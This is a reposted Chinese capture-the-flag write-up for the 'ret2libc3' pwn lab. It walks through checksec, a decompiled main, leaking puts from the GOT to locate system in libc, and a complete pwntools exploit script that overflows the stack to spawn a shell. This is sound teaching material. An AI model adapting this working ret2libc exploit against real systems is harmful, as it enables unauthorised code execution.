ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[星盟 pwn LAB]ret2libc3(从puts定位system)

2021-06-18 17:29:58  阅读:430  来源: 互联网

标签:星盟 ret2libc3 puts libc system 地址 so addr


文章目录

一、要点

  • return to libc
  • libc中的地址泄露和定位

二、预备知识

预备知识请参考pwn入门参考资源中的PLT和GOT、ROP部分。

三、题目

这是一道pwn ret2libc的题目,题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1fvb4ICRncfrXcq9d5lcxxg
提取码:yl5b
本次实验对应ROP文件夹下的ret2libc3

四、解题过程

1、检查保护机制

checksec只有NX,无法平坦的溢出栈空间。
在这里插入图片描述

2、运行查看效果

运行该程序,用户有两个输入点,第一个输入点需要填入一个地址(10进制),而后程序会输出一个16进制的值。第二个输入点填充大量字符串时,程序crash,报段错误。
在这里插入图片描述

3、IDA静态分析

拖入IDA中查看伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v4; // [esp+4h] [ebp-11Ch]
  int v5; // [esp+8h] [ebp-118h]
  char src[256]; // [esp+12h] [ebp-10Eh] BYREF
  char buf[10]; // [esp+112h] [ebp-Eh] BYREF
  int v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, buf, 0xAu);
  v8 = strtol(buf, v4, v5);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, src, 0x100u);
  Print_message(src);
  puts("Thanks you ~");
  return 0;
}

4、栈溢出的设计

要在栈上拼出的内容见下图:
在这里插入图片描述
在栈中填入libc system的地址和参数,利用系统调用打开shell。

5、使用本地libc.so进行分析

可以使用题目给出的libc-2.23.so进行分析,也可以使用本地的so进行分析。本文,使用本地的so进行分析。使用如下命令查看使用的so和版本号:

gdb ret2libc
b main
r
vmmap

在这里插入图片描述
从图中可知链接的so为/lib/i386-linux-gnu/libc-2.23.so。

6、泄露puts的地址、定位system的地址

本题的思路是泄露libc中的函数,该函数必须在第一个read之前执行,这里我们就来泄露puts函数的地址。假设puts函数的地址为put_addr。而后需进行如下操作来解析:
第一步:解析elf文件,计算puts函数的偏移puts_got = elf.got[‘puts’],接收程序打印的puts函数运行时的地址dyn_put_addr,并定位到libc的首地址libc_base = dyn_put_addr - puts_got。
第二步:进一步定位到system的地址:dyn_put_addr + libc.symbols[“system”] - libc.symbols[“puts”]。
第三步:通过elf.search(‘sh\x00’).next()定位sh的地址。

7、编写exp

编写的exp为:

from pwn import *

elf = ELF('./ret2libc3')
#libc = ELF('./libc-2.23.so')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')



io = process('./ret2libc3')
#raw_input()

io.recv()
puts_got = elf.got['puts']
print puts_got
io.send(str(puts_got))

io.recvuntil('address : ')


dyn_put_addr = int(io.recvuntil('\n', drop = True), 16)

system_addr = dyn_put_addr + libc.symbols["system"] - libc.symbols["puts"]

print hex(system_addr)

#io.recvuntil('me :')

payload = flat(['A' * 60, system_addr, 0xdeadbeef, elf.search('sh\x00').next()])
io.sendlineafter(' :', payload)

io.interactive()

运行该脚本后,执行ls命令,可以看出已经拿到了shell:
在这里插入图片描述

标签:星盟,ret2libc3,puts,libc,system,地址,so,addr
来源: https://blog.csdn.net/weixin_43363675/article/details/118029714

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有